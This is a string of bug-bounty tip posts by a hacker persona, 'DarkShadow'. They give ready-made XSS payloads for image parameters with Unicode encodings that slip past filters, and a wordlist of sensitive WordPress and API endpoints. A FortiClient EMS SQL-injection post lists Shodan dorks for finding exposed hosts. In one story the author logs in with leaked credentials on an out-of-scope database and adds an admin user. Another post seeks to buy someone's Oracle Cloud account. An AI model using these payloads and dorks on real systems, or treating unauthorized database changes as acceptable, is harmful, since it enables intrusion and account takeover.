Hey Hunter's,
DarkShadow is here back again!

💀LFI via misconfigured image parameter☠

> In most of cases hackers only test blind SSRF in image handler parameter.

But if you test the right payload it can disclose many hidden bugs!

So guys if you enjoy to read such methods, show your love ❤️

#bugbountytips #lfi

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🔥 XSS Tip: Unicode Normalization

Don't give up if <, >, " or ' are filtered ! Many apps normalize Unicode after the WAF/security layer.

Some bypass variants (URL-encoded):
🔹 < ➔ %EF%BC%9C
🔹 > ➔ %EF%BC%9E
🔹 " ➔ %EF%BC%A2
🔹 ' ➔ %EF%BC%87
🔹 ` ➔ %EF%BD%80

For example, inject %EF%BC%9Cscript%EF%BC%9E and check if it reflects as <script> in the DOM.

Automate these quirks with recollapse : https://github.com/0xacb/recollapse

#BugBounty #BugBountyTips #XSS #Pentest #Infosec #CyberSecurity

Hey Hunter’s,
DarkShadow is here back again!

"Sensitive Information Leak & Missing Authorization via API Endpoint"

- to find info leak bugs in wordpress use my this quick wordlist:

/api/v1/export/data
/api/v1/config
/api/debug/env
/api/v2/auth/sessions
/api/v1/admin/users
/wp-json/wordfence/v1/config
/api/v1/billing/details
/api/v1/db/stats
/api/v1/logs
/api/v1/health
/api/v1/status
/api/v1/internal/settings
/api/v1/cloud/credentials
/api/v1/user/profile
/api/v1/system/info
/api/v1/backup/list
/wp-json/wp/v2/users
/wp-json/wp/v2/settings
/wp-json/wp/v2/media
/wp-json/wp/v2/posts?status=any
/wp-json/wp/v2/pages?status=private
/wp-json/elementor/v1/system-info

So guys if you really enjoy to read such methods shows your love🔥

#bugbountytips #info_leak

Hey Hunter’s,
DarkShadow is here back again!

🔥Private Messages Leaks via api endpoint💀

tip:

> if your target using any open source projects, then collect all /api routes from github.

> use ffuf, burp, gf (do recon as much possible) it can uncovered information leak bugs.

if you guy’s want to know more info leak bugs methods, let me know…

#bugbountytips #info_leak

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Hi everyone,
This is DarkShadow.

I’m currently looking for an Oracle Cloud account with Pay-As-You-Go enabled. If anyone has one available and is willing to sell, please feel free to reach out.

Contact: @darkshadowshellsec

Serious sellers only. Thank you.

Hey Hunter’s,
DarkShadow is here back again!

"if SSRF is not works in image url parameter then try XSS"

in image parameter you can use these type of payloads:

<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>
<svg onload=eval(http://window.name)>
"><svg onload=prompt(document.domain);>.png
嘼svg><script>a<!>l<!>e<!>r<!>t<!>(<!>1<!>)</script>

Now guy’s show you love🔥

#bugbountytips #xss

🚨 Bug Bounty / Red Team Tip

CVE-2026-21643 — Critical Pre-Auth SQL Injection (CVSS 9.1) in FortiClient EMS 7.4.4 (multi-tenant mode only)

Unauthenticated attackers can inject arbitrary SQL via the Site HTTP header to the public endpoint /api/v1/init_consts (or login endpoint). This happens before authentication and hits the PostgreSQL backend with superuser-level access in many setups → full DB dump, schema extraction, or RCE (via PostgreSQL features like COPY FROM PROGRAM).

- Affected: Only FortiClient EMS 7.4.4 (multi-tenant/Sites feature enabled)
- Not affected: 7.2.x, 8.0.x, single-site deployments
- Fixed: Upgrade to 7.4.5 or later
- Status: Actively exploited in the wild + public PoCs available

Main Detail Article (Highly Recommended):
Bishop Fox deep-dive with exploitation paths, payloads (e.g., pg_sleep(5) for blind testing), and lab results →
https://bishopfox.com/blog/cve-2026-21643-pre-authentication-sql-injection-in-forticlient-ems-7-4-4

Public PoC (GitHub):
https://github.com/0xBlackash/CVE-2026-21643

Useful Google/Shodan Dorks:
- http.title:"FortiClient EMS" "7.4.4"
- http.html:"FortiClient Enterprise Management Server"
- http.favicon.hash: -specific-hash (or search for EMS login page)
- Shodan: "Model: FCTEMS" or "FortiClient EMS"

Quick Check:
If your EMS login page is internet-facing and running 7.4.4 with multi-tenant enabled → patch ASAP or block public access. Thousands of instances are exposed (Shadowserver ~2k+, Shodan ~1k+).

High-value target for hunters. Patch or restrict immediately!

#BugBounty #RedTeam #Fortinet #CVE202621643 #SQLi

Hey Hunters,

DarkShadow here back again!

out-of-scope target can lead to an in-scope critical vulnerability!
The story starts from a normal endpoint. When I clicked it, it redirected me somewhere else, and after resolving something, it returned the content. To check further what’s going on, I opened the request in Burp Suite. The endpoint performed a 302 redirect to an external domain, which was out of scope.

But here’s the twist—it was still showing the content from the original website I had requested. So I thought, maybe it’s working like a proxy?

Here comes the real mastery. Most bug hunters ignore this kind of behavior, but I decided to dig deeper. And yeah, I found a file: backup.zip
I instantly unzipped it and noticed a config/ folder, and inside it—a config.php file.

Guess what?
I found MySQL database credentials, and the most interesting part? The database URL was publicly accessible—not just localhost!

I tried connecting… and boom! I was successfully connected.
But wait—this domain is out of scope, right?

That’s what I thought too… until I started reading there massive database and was shocked—
It was the target's database, exposed through their proxy server, which had the hardcoded credentials in the config file.

At that moment, I was really excited.
Then I thought: What if I create a new user with admin role?
So I did exactly that—added an admin user to the database.

Now, on the target website, there’s a normal login page (not labeled as admin login), but I tried logging in with the new credentials and guess what?

BOOM! 💥
It logged me into the admin dashboard.

And just like that, I turned an out-of-scope target into a critical in-scope auth bypass vulnerability.✅


So guys, if you enjoyed this method, don’t forget to show some love—and please, pray for me, I’m really sick right now.

And don’t forget to follow me on X (Twitter): x.com/Darkshadow2bd

#bugbountytips #infosec

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